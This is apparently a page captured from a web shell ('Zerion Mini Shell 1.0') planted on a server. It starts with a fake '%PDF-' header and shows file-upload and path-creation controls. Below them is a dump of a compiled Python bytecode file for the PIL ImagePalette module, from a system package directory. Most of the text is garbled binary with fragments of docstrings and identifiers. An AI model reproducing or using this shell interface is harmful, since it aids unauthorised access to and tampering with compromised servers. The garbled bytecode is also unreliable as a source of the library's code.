%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/PIL/__pycache__/ImagePalette.cpython-312.pyc

�

��eS��|�ddlmZddlZddlmZmZmZmZGd�d�Zd�Z	d�Z
d	�Zdd
�Zdd�Z
dd�Zdd
�Zd�Zy)�)�annotationsN�)�GimpGradientFile�GimpPaletteFile�
ImageColor�PaletteFilec��eZdZdZdd�Zed��Zejd��Zed��Zejd��Zd�Z	d	�Z
d
�ZeZdd�Z
dd�Zd
�Zy)�ImagePalettea�
    Color palette for palette mapped images

    :param mode: The mode to use for the palette. See:
        :ref:`concept-modes`. Defaults to "RGB"
    :param palette: An optional palette. If given, it must be a bytearray,
        an array or a list of ints between 0-255. The list must consist of
        all channels for one color followed by the next color (e.g. RGBRGBRGB).
        Defaults to an empty palette.
    Nc�T�||_d|_|xs
t�|_d|_y�N)�mode�rawmode�	bytearray�palette�dirty)�selfr
rs   �2/usr/lib/python3/dist-packages/PIL/ImagePalette.py�__init__zImagePalette.__init__%s%����	�����-�)�+�����
�c��|jSr)�_palette�rs rrzImagePalette.palette+s���}�}�rc� �d|_||_yr)�_colorsr)rrs  rrzImagePalette.palette/s�������
rc�,�|j�}t|j�}i|_tdt|j�|�D]>}t|j|||z�}||jvr�-||z|j|<�@|jS)Nr)r�lenr
�ranger�tuple)r�mode_len�i�colors    r�colorszImagePalette.colors4s����<�<���4�9�9�~�H��D�L��1�c�$�,�,�/��:�
4���d�l�l�1�q�8�|�<�=���D�L�L�(��&'�8�m����U�#�	
4�
�|�|�rc��||_yr)r)rr"s  rr"zImagePalette.colors@s	����rc��t�}|j|_|j|_|j�|jdd|_|j|_|Sr)r
r
rrr)r�news  r�copyzImagePalette.copyDsH���n���9�9����l�l����<�<�#��,�,�q�/�C�K��J�J��	��
rc��|jr|j|jfS|j|j�fS)z�
        Get palette contents in format suitable for the low-level
        ``im.putpalette`` primitive.

        .. warning:: This method is experimental.
        )rrr
�tobytesrs r�getdatazImagePalette.getdataOs3���<�<��<�<����-�-��y�y�$�,�,�.�(�(rc���|jr
d}t|��t|jt�r|jStj
d|j�}|j
�S)zUConvert palette to bytes.

        .. warning:: This method is experimental.
        �!palette contains raw palette data�B)r�
ValueError�
isinstancer�bytes�arrayr()r�msg�arrs   rr(zImagePalette.tobytesZsR��
�<�<�5�C��S�/�!��d�l�l�E�*��<�<���k�k�#�t�|�|�,���{�{�}�rc���t|jt�st|j�|_t	|j�dz}d}|rD|j
j
d�|j
j
d�f}||vr
|dz
}||vr�
|dk\rV|rAttt|j����D]\}}|dk(s�||vs�|}n|dk\rd}t|�|�|S)	N���
background�transparencyr�rz$cannot allocate more than 256 colors)r.rrrr�info�get�reversed�list�	enumerate�	histogramr-)r�image�e�index�special_colorsr �countr1s        r�_new_color_indexzImagePalette._new_color_indexjs����$�,�,�	�2�%�d�l�l�3�D�M��D�L�L�!�Q�&������
�
���|�,��
�
���~�.��N��>�)���
���>�)��C�<�� (��i����8I�.J�)K� L��H�A�u���z�a�~�&=� !������|�<�� ��o�1�,��rc��|jr
d}t|��t|t�rj|jdk(r)t|�dk(r=|ddk7r
d}t|��|dd}n"|jdk(rt|�dk(r|d	z
}	|j|Sdt|���}t|��#t$r�}|j||�}||j|<|dzt|j�kr:|jd|dzt|�z|j|dzdzdz|_n|xjt|�z
c_d
|_|cYd}~Sd}~wwxYw)zgGiven an rgb tuple, allocate palette entry.

        .. warning:: This method is experimental.
        r+�RGB�r4�z/cannot add non-opaque RGBA color to RGB paletteN�RGBA)rHrzunknown color specifier: )rr-r.rr
rr"�KeyErrorrDrr/rr�repr)rr!r?r1r@rAs      r�getcolorzImagePalette.getcolor�sW��
�<�<�5�C��S�/�!��e�U�#��y�y�E�!��u�:��?��Q�x�3��O��(��o�-�!�"�1�I�E����f�$��u�:��?��V�O�E�
��{�{�5�)�)� .�d�5�k�]�;�C��S�/�!��!�

��-�-�e�Q�7��%*����E�"��1�9�s�4�<�<�0�0����[�u�q�y�1���,�'��,�,�u�q�y�1�}��7�8��M��M�M�U�5�\�1�M���
����

�s�B-�-	E�6BE�E�Ec�X�|jr
d}t|��t|t�rt	|d�}|jd�|jd|j�d��td�D]�}|j|��t|t|j�z|dzt|j�z�D]$}	|jd|j|����&|jd���|j�y
#t$r|jd	�Y�gwxYw)zVSave palette to text file.

        .. warning:: This method is experimental.
        r+�wz
# Palette
z# Mode: �
r8r� z 0N)rr-r.�str�open�writer
rrr�
IndexError�close)r�fpr1r �js     r�savezImagePalette.save�s���
�<�<�5�C��S�/�!��b�#���b�#��B�
�����
���8�D�I�I�;�b�)�*��s��	�A��H�H��s���1�s�4�9�9�~�-��A���T�Y�Y��/G�H�
#��#��H�H�q����a�� 1�2�3�
#�

�H�H�T�N�	�	���
��"�#��H�H�T�N�#�s�!D�D)�(D))rFN)NNr)�__name__�
__module__�__qualname__�__doc__r�propertyr�setterr"r&r)r(�tostringrDrLrXr5rrr
r
s���	������
�^�^� �� ��	��	��]�]����	�	)���H��0$"�Lrr
c�D�t�}||_||_d|_|S)Nr)r
rrr)r�datars   r�rawrb�s#���n�G��G�O��G�O��G�M��Nrc�n�|dk(rtd�D�cgc]
}||zdz��c}Sd}t|��cc}w)Nrr8rHz"unavailable when black is non-zero)r�NotImplementedError)�black�whiter r1s    r�make_linear_lutrg�s<����z�*/��*�5�Q���	�S� �5�5�
.�C�
�c�
"�"��6s�2c�h�td�D�cgc]}t|dz|zdzdz���c}Scc}w)Nr8g�o@g�?)r�int)�expr s  r�make_gamma_lutrk�s2��=B�3�Z�H��C�!�e�)��#�u�,�s�2�3�H�H��Hs�/c
��ttdt|�z��}|j�t	||D�cgc]}|t|�z��c}�Scc}w�Nr8)r<rr�reverser
�r
rr s   r�negativerp�sF���5��s�4�y��)�*�G��O�O����w�?�!�q�C��I�~�?�@�@��?s�A
c��ddlm}tdt|�z�D�cgc]}|dd���
}}t	||�Scc}w)Nr)�randintr8rH)�randomrrrrr
)r
rr�_rs    rrsrs�s>���(-�c�C��I�o�(>�?�1�w�q�#��?�G�?���g�&�&��@s�>c	���tj|�D�cgc]}td|���}}tdt	d�D�cgc]}||dz|dz��c}�Scc}wcc}w)NrrFir4)r�getrgbrgr
r)rf�band�bandsr s    r�sepiary�s]��2<�2C�2C�E�2J�K�$�_�Q��
%�K�E�K���e�G�n�M���a�!�e��Q�!�V� 4�M�N�N��
L��Ms�A�A!
c
��ttdt|�z��}t||D�cgc]}|t|�z��c}�Scc}wrm)r<rrr
ros   r�wedger{�s<���5��s�4�y��)�*�G���w�?�!�q�C��I�~�?�@�@��?s�A
c�P�t|d�5}tjtjtjfD].}	|j	d�||�j�}|rn�0d}t|��	ddd�|S#ttf$rY�ZwxYw#1swYSxYw)N�rbrzcannot load palette)	rRrrr�seek�
getpalette�SyntaxErrorr-�OSError)�filenamerV�paletteHandler�lutr1s     r�loadr��s���
�h��	����+�+��-�-��#�#�
�	�N�

�����
�$�R�(�3�3�5�����	�(�C��#�,����"�J��
 ��,�
��
���"�J�s/�3B�)B�*B�B�B�B�B�B%)rF)z#fff0c0)�
__future__rr0�rrrrr
rbrgrkrprsryr{r�r5rr�<module>r�sL��$#��H�H�c�c�T�#�I�A�'�O�
A�
r

Zerion Mini Shell 1.0